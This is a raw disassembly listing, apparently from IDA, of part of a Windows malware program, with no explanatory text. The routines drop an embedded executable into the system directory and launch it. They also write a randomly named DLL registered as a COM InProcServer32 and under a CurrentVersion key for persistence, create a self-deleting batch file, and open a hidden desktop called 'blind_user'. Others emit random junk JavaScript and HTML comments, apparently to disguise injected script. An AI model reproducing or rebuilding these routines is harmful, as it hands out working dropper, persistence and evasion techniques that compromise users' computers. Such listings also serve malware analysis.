		movzx	edx, byte ptr [ebp+var_2160+3]
		shl	edx, 2
		mov	edi, [ebp+edx+var_255C]


loc_40238D:				; CODE XREF: sub_401EAF+514j
		mov	byte ptr [edi],	0
		cmp	byte ptr ds:1[edi], 0
		jnz	short loc_4023C2
		cmp	byte ptr ds:2[edi], 0
		jnz	short loc_4023C2
		cmp	byte ptr ds:3[edi], 0 ;	DATA XREF: sub_41E239+2Fo
		jnz	short loc_4023C2
		cmp	byte ptr ds:4[edi], 0
		jnz	short loc_4023C2
		cmp	byte ptr ds:5[edi], 0
		jz	short loc_4023C5


loc_4023C2:				; CODE XREF: sub_401EAF+4E9j
					; sub_401EAF+4F3j ...
		inc	edi
		jmp	short loc_40238D
; ---------------------------------------------------------------------------


loc_4023C5:				; CODE XREF: sub_401EAF+511j
		movzx	eax, byte ptr [ebp+var_2160+3]
		or	eax, eax
		jg	short loc_402375
		cmp	[ebp+arg_0], 1
		jz	short loc_4023F2


loc_4023D6:				; CODE XREF: sub_401EAF+3EDj
					; sub_401EAF+40Dj
		movzx	eax, [ebp+var_100D]
		push	eax
		push	[ebp+var_2024]
		push	[ebp+var_202C]
		call	sub_401D98
		add	esp, 0Ch


loc_4023F2:				; CODE XREF: sub_401EAF+3E3j
					; sub_401EAF+407j ...
		cmp	[ebp+var_201D],	0
		jz	short loc_402437
		and	[ebp+var_100C],	0


loc_402402:				; CODE XREF: sub_401EAF+581j
		mov	edx, [ebp+var_100C]
		shl	edx, 2
		mov	ecx, ebx
		shr	ecx, 2
		shl	ecx, 2
		add	ecx, [ebp+var_4]
		mov	eax, [ebp+edx+var_2018]
		mov	[ecx+edx], eax
		inc	[ebp+var_100C]
		cmp	[ebp+var_100C],	400h
		jb	short loc_402402
		jmp	loc_402075
; ---------------------------------------------------------------------------


loc_402437:				; CODE XREF: sub_401EAF+10Aj
					; sub_401EAF+24Dj ...
		add	[ebp+var_100D],	1
		movzx	edx, [ebp+var_100D]
		shl	edx, 4
		cmp	off_41ADB0[edx], 0
		jnz	loc_401FA7
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401EAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40245B	proc near		; CODE XREF: sub_4024E0+13p
					; sub_40251A+14p

var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_40246E:				; CODE XREF: sub_40245B+18j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40246E
		mov	ebx, eax
		mov	[ebp+var_6], bx
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_402499
; ---------------------------------------------------------------------------


loc_402485:				; CODE XREF: sub_40245B+44j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [edi+eax], 5Ch
		jnz	short loc_402495
		inc	[ebp+var_2]
		jmp	short loc_4024A1
; ---------------------------------------------------------------------------


loc_402495:				; CODE XREF: sub_40245B+32j
		dec	[ebp+var_2]


loc_402499:				; CODE XREF: sub_40245B+28j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_402485


loc_4024A1:				; CODE XREF: sub_40245B+38j
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_4024DB
		mov	[ebp+var_4], 0
		jmp	short loc_4024C9
; ---------------------------------------------------------------------------


loc_4024B3:				; CODE XREF: sub_40245B+7Ej
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_2]
		mov	ecx, eax
		add	ecx, edx
		mov	dl, [edi+ecx]
		mov	[esi+eax], dl
		inc	[ebp+var_4]


loc_4024C9:				; CODE XREF: sub_40245B+56j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_4024B3


loc_4024DB:				; CODE XREF: sub_40245B+4Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40245B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024E0	proc near		; CODE XREF: sub_402784+3Ap
					; sub_40284A+19Dp ...

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	sub_40245B
		push	offset aF	; ":F"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E64
		add	esp, 10h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4079F0	; GlobalAddAtomA
		leave
		retn
sub_4024E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40251A	proc near		; CODE XREF: sub_405AAC+146p
					; sub_405AAC+1A9p ...

var_106		= word ptr -106h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	sub_40245B
		push	offset aF	; ":F"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E64
		add	esp, 10h


loc_402547:				; CODE XREF: sub_40251A+59j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407A08	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp+var_106], di
		cmp	[ebp+var_106], 0
		jz	short loc_402575
		movzx	eax, [ebp+var_106]
		push	eax
		call	sub_4079FC	; GlobalDeleteAtom
		jmp	short loc_402547
; ---------------------------------------------------------------------------


loc_402575:				; CODE XREF: sub_40251A+4Aj
		pop	edi
		leave
		retn
sub_40251A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402578	proc near		; CODE XREF: sub_402613+12p

var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_407DB0
		add	esp, 0Ch
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh


loc_40259B:				; CODE XREF: sub_402578+28j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40259B
		mov	ebx, eax
		mov	[ebp+var_2], bl
		mov	[ebp+var_1], 0
		jmp	short loc_4025C3
; ---------------------------------------------------------------------------


loc_4025AD:				; CODE XREF: sub_402578+55j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1


loc_4025C3:				; CODE XREF: sub_402578+33j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_4025AD
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_4025EF
; ---------------------------------------------------------------------------


loc_4025DD:				; CODE XREF: sub_402578+88j
		push	(offset	aP0+4)
		push	edi
		call	sub_407E64
		add	esp, 8
		add	[ebp+var_3], 1


loc_4025EF:				; CODE XREF: sub_402578+63j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_4025DD
		push	[ebp+arg_8]
		push	edi
		call	sub_407E64
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402578	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402613	proc near		; CODE XREF: sub_406344+37Cp

var_32		= byte ptr -32h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	(offset	aP0+2)
		lea	eax, [ebp+var_32]
		push	eax
		push	[ebp+arg_0]
		call	sub_402578
		add	esp, 0Ch
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_4079F0	; GlobalAddAtomA
		leave
		retn
sub_402613	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402638	proc near		; CODE XREF: sub_406344+3D5p
					; sub_406344+3E6p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E40
		push	offset aP0	; "#P0"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E64
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407E64
		add	esp, 18h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4079F0	; GlobalAddAtomA
		leave
		retn
sub_402638	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_407E40
		push	offset aP0	; "#P0"
		lea	eax, [ebp-104h]
		push	eax
		call	sub_407E64
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_407E64
		add	esp, 18h


loc_4026BD:				; CODE XREF: .text:004026E9j
		lea	eax, [ebp-104h]
		push	eax
		call	sub_407A08	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp-106h], di
		cmp	word ptr [ebp-106h], 0
		jz	short loc_4026EB
		movzx	eax, word ptr [ebp-106h]
		push	eax
		call	sub_4079FC	; GlobalDeleteAtom
		jmp	short loc_4026BD
; ---------------------------------------------------------------------------


loc_4026EB:				; CODE XREF: .text:004026DAj
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026EE	proc near		; CODE XREF: sub_402784+11p
					; sub_40284A+F6p ...

var_1008	= dword	ptr -1008h
var_1003	= byte ptr -1003h
var_1000	= byte ptr -1000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_4078CC
		push	edi
		mov	edi, [ebp+arg_0]
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40799C	; GetSystemDirectoryA
		mov	[ebp+var_1000],	0
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_4079D8	; GetVolumeInformationA
		push	[ebp+var_1008]
		push	offset a08x	; "%08X"
		push	edi
		call	sub_407E40
		add	esp, 0Ch
		and	[ebp+var_4], 0


loc_402762:				; CODE XREF: sub_4026EE+91j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jge	short loc_402778
		cmp	al, 30h
		jle	short loc_402778
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	11h


loc_402778:				; CODE XREF: sub_4026EE+7Cj
					; sub_4026EE+80j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jb	short loc_402762
		pop	edi
		leave
		retn
sub_4026EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402784	proc near		; CODE XREF: sub_406344+437p

var_26C		= byte ptr -26Ch
var_267		= byte ptr -267h
var_163		= byte ptr -163h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	edi
		lea	eax, [ebp+var_163]
		push	eax
		call	sub_4026EE
		lea	eax, [ebp+var_163]
		push	eax
		push	offset dword_419160
		push	offset aSS_exe	; "%s\\%s.exe"
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_4024E0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_407A8C	; CreateFileA
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_26C]
		push	eax
		push	3621h
		push	offset byte_41C9E1
		push	edi
		call	sub_407B40	; WriteFile
		push	edi
		call	sub_407984	; CloseHandle
		push	104h
		lea	eax, [ebp+var_267]
		push	eax
		push	0
		call	sub_40796C	; GetModuleFileNameA
		push	offset asc_424E5F ; " "
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_407E64
		lea	eax, [ebp+var_267]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_407E64
		add	esp, 28h
		push	0
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_407B34	; WinExec
		pop	edi
		leave
		retn
sub_402784	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40284A	proc near		; CODE XREF: sub_406344+1B1p

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2CD		= byte ptr -2CDh
var_269		= byte ptr -269h
var_205		= byte ptr -205h
var_101		= byte ptr -101h
var_FB		= byte ptr -0FBh
var_FA		= byte ptr -0FAh
var_F9		= byte ptr -0F9h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	ebx
		push	esi
		push	edi
		call	sub_407E28
		mov	[ebp+var_2D8], eax
		call	sub_407E28
		mov	[ebp+var_2DC], eax
		call	sub_407E28
		mov	[ebp+var_2E0], eax
		call	sub_407E28
		mov	[ebp+var_2E4], eax
		call	sub_407E28
		mov	[ebp+var_2E8], eax
		call	sub_407E28
		mov	[ebp+var_2EC], eax
		call	sub_407E28
		mov	[ebp+var_2F0], eax
		call	sub_407E28
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2F0]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2EC]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2E8]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2E4]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2E0]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2DC]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2D8]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		push	offset a04x04x04x04x04 ; "{%04X%04X-%04X-%04X-%04X-%04X%04X%04X}"
		lea	edi, [ebp+var_269]
		push	edi
		call	sub_407E40
		lea	eax, [ebp+var_2CD]
		push	eax
		call	sub_4026EE
		add	esp, 2Ch
		call	sub_407E28
		mov	edx, 10624DD3h
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	edi, edx
		add	edi, 41h
		mov	ebx, edi
		mov	[ebp+var_101], bl
		mov	[ebp+var_1], 1
		jmp	short loc_40299B
; ---------------------------------------------------------------------------


loc_402971:				; CODE XREF: sub_40284A+156j
		call	sub_407E28
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	ebx, edx
		add	ebx, 61h
		mov	[ebp+edi+var_101], bl
		add	[ebp+var_1], 1


loc_40299B:				; CODE XREF: sub_40284A+125j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_402971
		mov	[ebp+var_F9], 0
		call	sub_407E28
		mov	edx, eax
		test	dl, 1
		jnz	short loc_4029C3
		mov	[ebp+var_FB], 33h
		mov	[ebp+var_FA], 32h


loc_4029C3:				; CODE XREF: sub_40284A+169j
		lea	eax, [ebp+var_101]
		push	eax
		push	offset dword_419160
		push	offset aSS_dll	; "%s\\%s.dll"
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_4024E0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_407A8C	; CreateFileA
		mov	esi, eax
		push	[ebp+arg_0]
		mov	eax, offset aAbcdefghijklmn ; "abcdefghijklmno"
		push	eax
		call	sub_407E40
		push	0
		lea	eax, [ebp+var_2D4]
		push	eax
		push	1A01h
		push	offset dword_41AFE0
		push	esi
		call	sub_407B40	; WriteFile
		push	esi
		call	sub_407984	; CloseHandle
		lea	eax, [ebp+var_269]
		push	eax
		push	offset aClsidSInprocse ; "CLSID\\%s\\InProcServer32"
		lea	eax, [ebp+var_101]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_205]
		push	eax
		push	offset byte_424E15
		lea	eax, [ebp+var_101]
		push	eax
		push	80000000h
		call	sub_402AAB
		push	offset aApartment ; "Apartment"
		push	offset aThreadingmodel ; "ThreadingModel"
		lea	eax, [ebp+var_101]
		push	eax
		push	80000000h
		call	sub_402AAB
		lea	eax, [ebp+var_269]
		push	eax
		lea	eax, [ebp+var_2CD]
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_402AAB
		add	esp, 58h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40284A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AAB	proc near		; CODE XREF: sub_40284A+21Cp
					; sub_40284A+237p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		inc	dword_41A1FC
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407D2C	; RegCreateKeyExA
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_402AE4:				; CODE XREF: sub_402AAB+3Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_402AE4
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	edi
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_407D5C	; RegSetValueExA
		push	[ebp+var_4]
		call	sub_407D38	; RegCloseKey
		pop	edi
		pop	esi
		leave
		retn
sub_402AAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B0D	proc near		; CODE XREF: sub_406344+1EAp

var_1494	= byte ptr -1494h
var_148F	= byte ptr -148Fh
var_1390	= dword	ptr -1390h
var_1380	= dword	ptr -1380h
var_12FC	= byte ptr -12FCh
var_11FD	= byte ptr -11FDh
var_10FE	= byte ptr -10FEh
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		mov	eax, 1494h
		call	sub_4078CC
		push	ebx
		push	esi
		push	edi
		push	0FFh
		lea	eax, [ebp+var_12FC]
		push	eax
		push	0
		call	sub_40796C	; GetModuleFileNameA
		mov	[ebp+var_1390],	94h
		lea	eax, [ebp+var_1390]
		push	eax
		call	sub_4079CC	; GetVersionExA
		cmp	[ebp+var_1380],	2
		jnz	short loc_402BA6
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40799C	; GetSystemDirectoryA
		lea	eax, [ebp+var_FF]
		push	eax
		push	offset aSXslfdlnt_bat ;	"%s\\xslfdlnt.bat"
		lea	eax, [ebp+var_11FD]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_FF]
		push	eax
		push	offset aSCmd_pif ; "%s\\cmd.pif"
		lea	eax, [ebp+var_148F]
		push	eax
		call	sub_407E40
		push	offset aCmd_exe	; "\\cmd.exe"
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_407E64
		add	esp, 20h
		jmp	short loc_402BFB
; ---------------------------------------------------------------------------


loc_402BA6:				; CODE XREF: sub_402B0D+40j
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_4079E4	; GetWindowsDirectoryA
		lea	eax, [ebp+var_FF]
		push	eax
		push	offset aSXslfdl9x_bat ;	"%s\\xslfdl9x.bat"
		lea	eax, [ebp+var_11FD]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_FF]
		push	eax
		push	offset aSCommand_pif ; "%s\\command.pif"
		lea	eax, [ebp+var_148F]
		push	eax
		call	sub_407E40
		push	offset aCommand_com ; "\\command.com"
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_407E64
		add	esp, 20h


loc_402BFB:				; CODE XREF: sub_402B0D+97j
		lea	eax, [ebp+var_148F]
		push	eax
		call	sub_407B70	; DeleteFileA
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_11FD]
		push	eax
		call	sub_407A8C	; CreateFileA
		mov	edi, eax
		lea	eax, [ebp+var_11FD]
		push	eax
		lea	eax, [ebp+var_12FC]
		push	eax
		lea	eax, [ebp+var_12FC]
		push	eax
		push	offset aLoop@delSNul@i ; ":loop\r\n@del	%s>nul\r\n@if exist %s goto l"...
		lea	eax, [ebp+var_10FE]
		push	eax
		call	sub_407E40
		add	esp, 14h
		lea	ecx, [ebp+var_10FE]
		or	eax, 0FFFFFFFFh


loc_402C59:				; CODE XREF: sub_402B0D+151j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_402C59
		push	0
		lea	ebx, [ebp+var_1494]
		push	ebx
		push	eax
		lea	esi, [ebp+var_10FE]
		push	esi
		push	edi
		call	sub_407B40	; WriteFile
		push	edi
		call	sub_407984	; CloseHandle
		lea	eax, [ebp+var_11FD]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		push	offset aSCS	; "%s /C %s"
		lea	eax, [ebp+var_10FE]
		push	eax
		call	sub_407E40
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_10FE]
		push	eax
		call	sub_407B34	; WinExec
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CB2	proc near		; CODE XREF: sub_403D8E+124p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		cmp	dword_420004, 0
		jz	short loc_402CDE
		call	sub_407948	; GetCurrentThreadId
		push	eax
		call	sub_407C48	; GetThreadDesktop
		mov	[ebp+var_4], eax
		mov	eax, dword_420004
		cmp	[ebp+var_4], eax
		jnz	short loc_402D02
		xor	eax, eax
		inc	eax
		jmp	short loc_402D0F
; ---------------------------------------------------------------------------


loc_402CDE:				; CODE XREF: sub_402CB2+Dj
		push	0
		push	0C7h
		push	0
		push	0
		push	0
		push	offset aBlind_user ; "blind_user"
		call	sub_407C30	; CreateDesktopA
		mov	dword_420004, eax
		or	eax, eax
		jnz	short loc_402D02
		xor	eax, eax
		jmp	short loc_402D0F
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_402CB2+25j
					; sub_402CB2+4Aj
		push	dword_420004
		call	sub_407C3C	; SetThreadDesktop
		mov	edi, eax


loc_402D0F:				; CODE XREF: sub_402CB2+2Aj
					; sub_402CB2+4Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402CB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D13	proc near		; CODE XREF: sub_403D8E+17Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	edx, aBlind_user ; "blind_user"
		mov	[eax+8], edx
		retn
sub_402D13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D21	proc near		; CODE XREF: sub_403659+3FDp
					; sub_403659+462p ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_4]
		push	esi
		call	sub_407E64
		add	esp, 8
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_402DDB
		mov	[ebp+var_FF], 0
		push	offset asc_424D14 ; "/*	"
		push	esi
		call	sub_407E64
		add	esp, 8
		mov	[ebp+var_100], 0
		jmp	short loc_402DB6
; ---------------------------------------------------------------------------


loc_402D6F:				; CODE XREF: sub_402D21+9Dj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_402DAF
		call	sub_407E28
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		push	offset aSC	; "%s%c"
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_407E40
		add	esp, 10h


loc_402DAF:				; CODE XREF: sub_402D21+5Ej
		add	[ebp+var_100], 1


loc_402DB6:				; CODE XREF: sub_402D21+4Cj
		mov	al, [ebp+var_100]
		cmp	al, 0Ah
		jb	short loc_402D6F
		lea	eax, [ebp+var_FF]
		push	eax
		push	esi
		call	sub_407E64
		push	offset asc_424D0B ; " */"
		push	esi
		call	sub_407E64
		add	esp, 10h


loc_402DDB:				; CODE XREF: sub_402D21+2Aj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_402E83
		call	sub_407E28
		mov	[ebp+var_104], eax
		call	sub_407E28
		mov	[ebp+var_108], eax
		call	sub_407E28
		mov	[ebp+var_10C], eax
		call	sub_407E28
		mov	ecx, 0EA60h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_10C]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_108]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_104]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		push	offset aVarCCCU	; "var %c%c%c =	%u;"
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_407E40
		lea	eax, [ebp+var_FF]
		push	eax
		push	esi
		call	sub_407E64
		add	esp, 20h


loc_402E83:				; CODE XREF: sub_402D21+CAj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_402F0B
		call	sub_407E28
		mov	[ebp+var_104], eax
		call	sub_407E28
		mov	[ebp+var_108], eax
		call	sub_407E28
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_108]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_104]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		push	offset aCCC	; "//%c%c%c\r\n"
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_407E40
		lea	eax, [ebp+var_FF]
		push	eax
		push	esi
		call	sub_407E64
		add	esp, 1Ch


loc_402F0B:				; CODE XREF: sub_402D21+172j
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_402F2B
		push	offset asc_424CEC ; "\r\n"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_402F2B:				; CODE XREF: sub_402D21+1FAj
		pop	edi
		pop	esi
		leave
		retn
sub_402D21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F2F	proc near		; CODE XREF: sub_403659+ECp
					; sub_403659+FAp ...

var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_4]
		push	esi
		call	sub_407E64
		add	esp, 8
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_403070
		mov	[ebp+var_FF], 0
		push	offset asc_424CE6 ; "<!-- "
		push	esi
		call	sub_407E64
		add	esp, 8
		mov	[ebp+var_100], 0
		jmp	loc_403047
sub_402F2F	endp

; ---------------------------------------------------------------------------
